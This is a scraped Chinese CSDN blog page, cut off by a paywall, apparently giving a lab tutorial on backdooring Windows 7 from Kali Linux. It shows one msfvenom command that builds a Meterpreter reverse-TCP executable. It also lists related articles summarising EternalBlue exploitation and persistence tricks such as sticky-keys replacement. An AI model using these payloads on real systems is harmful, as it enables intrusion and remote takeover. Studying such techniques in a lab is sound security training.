Kali Linux： Windows7 x64 植入后门

最新推荐文章于 2024-06-24 18:11:49 发布
最新推荐文章于 2024-06-24 18:11:49 发布
阅读量1.9k 收藏 26
点赞数 5
文章标签： 渗透测试 kali linux
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_50917178/article/details/115588279
版权

声明：本文章内所有内容环境为自己搭建绝无违法内容，禁止利用其中的技术来做违法的事情。

主要内容：

**1.利用msf生成后门，并上传到目标主机上
2.介绍获得权限可以做的某些事情
3.查看并提高现有权限
4.创建账户，并将其加入管理组
5.开启远程桌面**

第一步：利用msf生成后门，并上传到目标主机上

在这里插入图片描述

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.16.128 lport=5555 -f exe -o /home/rockrock/windows_payload
最低0.47元/天 解锁文章
热气_腾腾
关注
使用 ms17-010 永恒之蓝漏洞对 win7 进行渗透及建立永久后门
Cwillchris的博客
05-28 645
最详细永恒之蓝渗透和后渗透教程
Kali Linux：用永恒之蓝对 Windows 7 进行渗透并揭密勒索病毒攻击方法
GitChat
02-05 5812
提示：本文章内所有内容环境为自己搭建绝无违法内容，请不要利用其中的技术来做违法的事情。 声明：法律问题与本作者无关，请自觉遵守！ 实施利用 Kali Linux 对 Windows7 SP1 进行永恒之蓝操作，所以操作将在虚拟机上完成。...
windows后门
f1gure的博客
07-04 968
1、打开记事本，输入下列文本：Windows Registry Editor Version 5.00[HKEY_CLASSES_ROOT\*\shell\runas]@="获取权限""NoWorkingDirectory"=""[HKEY_CLASSES_ROOT\*\shell\runas\command]@="cmd.exe /c takeown /f \"%1\" && i...
Kali linux渗透测试系列————32、Kali linux 维持访问之操作系统后门
Fly_鹏程万里
05-16 2280
操作系统后门简单来说，所谓后门（backdoor），就是绕过目标系统安全控制体系的正规用户认证过程而维持我们队目标系统的控制权，以及隐匿我们控制行为的方法。CymothoaCymothoa是一款可以将ShellCode注入到现有进程（插入进程）的后门工具。借助这种注入手段，它能够把ShellCode伪装成常规程序。他说注入的后门程序应当能够与贝注入的程序（进程）共存，以避免被管理或维护人员怀疑。将...
利用ms17-010 远程执行漏洞渗透Win7，并留下后门
qq_40624810的博客
07-18 4459
一、环境准备 主机 kali ：192.168.115.134 靶机win7x64：192.168.115.133 二、渗透 Metasploit 指令学习：https://blog.csdn.net/tan6600/article/details/46845793 这里利用的是win7的ms17-010 远程执行漏洞 先使用auxiliary/scanner/smb/smb_ms17...
系统渗透与防护——后门植入与SUID提权
m0_60643467的博客
10-09 1999
Msfvenom Msfvenom是MSF框架配套的攻击载荷生成器，可以用来生成木马程序，并在目标机上执行，在本地监听上线。 部分参数 -p：选择一个载荷 -f：生成的文件格式 -lhost：监听地址 -lport：监听端口 -o：输入文件名 -h：帮助 Msfvenom实验测试 Msfvenom生成后门文件 第一步，在kali生成后门文件 第二步，开启Linux靶机的root用户，并设置密码 上传后门文件至靶机 第三步，在kali中将后门文件发送到目标主机 在
Kali Linux命令行精通：实战案例与应用技巧大揭秘
Kali Linux是一个为安全专家和渗透测试人员设计的操作系统，以其用于渗透测试和数字取证任务而闻名。其基础是Debian，Kali包括一系列的安全工具，并为这些工具提供了一个一致的、预配置的环境。Kali支持多种平台，...
Kali Linux渗透测试实战：初级技术指南
Kali Linux是一个基于Debian的Linux发行版，专门用于渗透测试和网络安全领域。它集成了大量的安全工具，包括渗透测试工具、漏洞扫描工具、密码破解工具等，使得它成为了安全测试人员和黑客的利器。Kali Linux提供了...
【Kali Linux漏洞利用技巧】：实践与案例分析
[【Kali Linux漏洞利用技巧】：实践与案例分析](https://www.cybervie.com/wp-content/uploads/2018/08/Standard-Blog-Featured-Image-1-1024x576.png) # 1. Kali Linux漏洞利用概述 Kali Linux是一款专业的渗透...
Windows持续化后门
小晓晓晓林的博客
02-20 2181
Windows权限维持 环境：Win10、Win7、Winxp虚拟机等 0x01 shift后门 windows中有一些辅助功能，能在用户未登录系统之前可以通过组合键来启动它，类似的辅助功能有： C:\Windows\System32\sethc.exe粘滞键，启动快捷键：按五次shift键 C:\Windows\System32\utilman.exe设置中心，启动快捷键：W...
kali生成后门远程控制电脑或手机
wutiangui的博客
05-07 3747
问题：Metasploit渗透测试中出的错误 Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:4444).点击.exe文件直接运行安装，运行，下一步，直接完成安装。Android模拟器（靶机1）：192.168.0.106。2.1首先从官网上下载模拟器雷电地址点击打开链接。靶机：192.168.25.106。二、环境配置二Android模拟器。
windows下后门技术（netcat篇）
d_0xff的博客
05-25 1万+
由于这次ctf的失利，来补习一下知识吧！windows下后门环境 win7 nc.exe假设用administrator登陆用nc创建了一个后门，Netcat 功能比较单一, 缺少了许多我们渗透工作中需要的功能。为此我们将创建一个便携式的工具包来解决这个问题便携式工具(Portable Applications)便携式工具是那些不需要安装就能直接使用的程序，它们往往将所有的执行环境和核心程序本身一
专注于win7官网，专注win7系统安装
qq_29508575的博客
11-12 1325
不知不觉,微软宣布停止对Win7的技术支持已过去几个月,期间不断有小伙伴问专注于Win7什么时候更新.专注于win7的官网又是什么,下面来看看专注于win7唯一官网是什么的介绍. 专注于win7官网 不知不觉中，微软宣布停止对Win7的技术支持已经过去几个月了，期间不断有小伙伴问Win7何时更新。 今年2月更新10.2:00，吻妻表示会进一步调整专注于win7系列作品的更新节奏。当时只说后续更新，没有提到具体的更新规，但是最近每天都有朋友问Win7会不会更新。何时更新？ 为更加专注于做好作品，将
第四章 抛弃我，我会战斗不息~跳过防火墙，进入后台
Q893448322的博客
12-20 3446
** 目录 第一章 黑客学习路线梳理 第二章 让你的kali变得更好用 第三章 别惹程序员0.0~简单的web渗透拿到用户名密码 ** 继上一篇文章 （[第三章 别惹程序员0.0~简单的web渗透拿到用户名密码），我们已经拿到了美人所创建网站的用户名密码，想着进一步攻击找到后台，却发现这个用户名密码权限很小，根本进入不到网站后台管理，但想想被抛弃的不爽，最终通过不断的信息搜索和探查，找到了一个旁站，或许会是一个新的突入点… 旁站链接： http://kypt8004.ia.aqlab.cn/ 一、信息探
kali-钓鱼网站远程代码漏洞分析
乌托托的博客
12-21 1358
实验环境KaliCentOs。
如何扫描网页后台地址
m0_74887243的博客
02-04 4366
后台扫描
Metasploit渗透测试之制作隐藏后门（一）——使用永恒之蓝漏洞对win7进行渗透
最新发布
qq_63831588的博客
06-24 657
kali，永恒之蓝，漏洞利用，后门，远程连接，木马
寻找网站后台的几种常见的方法
热门推荐
qq_63651088的博客
10-25 1万+
（注：本教程仅供学习交流使用，不可用于一切未授权的网络攻击和违法行为！） 当我们进入一个网站时，如何对其后台进行查找、从而进一步渗透？今天给大家介绍几种常见的方法： 查看网站图片中的属性 我们可以随机点击一些图片的属性，看看它的路径能否加以利用 查看网站底部信息 可以翻到网站底部查看是否有“管理”之类的入口，一般学校的官网和zf网站会有此类入口 rebots文件 就是网站的防爬目录。可以在网址后加上/rebots.txt，其中可能隐藏后台目录。说不定管理员不想被搜索引擎找到，把网站后台地址放置
Kali Linux之常见后门工具介绍
weixin_34061042的博客
02-26 1907
1、Meterpreter 它是Metasploit框架中功能强大的后渗透模块。可以通过Meterpreter的客户端执行攻击脚本，远程调用目标主机上运行的Meterpreter服务端。 命令　　　　　　　　作用 sessions　　　　 查看会话ID信息 idletime　　　　　显示目标主机截止当前无操作命令的时间 webcam_snap　　抓取目标主机的摄像头，将拍摄的内容保存...
精通Kali Linux：安全渗透测试实战指南
"Kali Linux Cookbook 是一本针对网络安全测试的指南，由Willie L. Pritchett和David De Smet合著，包含了超过70个针对Kali Linux系统的实战技巧和解决方案。本书旨在帮助读者深入了解Kali Linux的功能，并提升其在...
评论 3
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值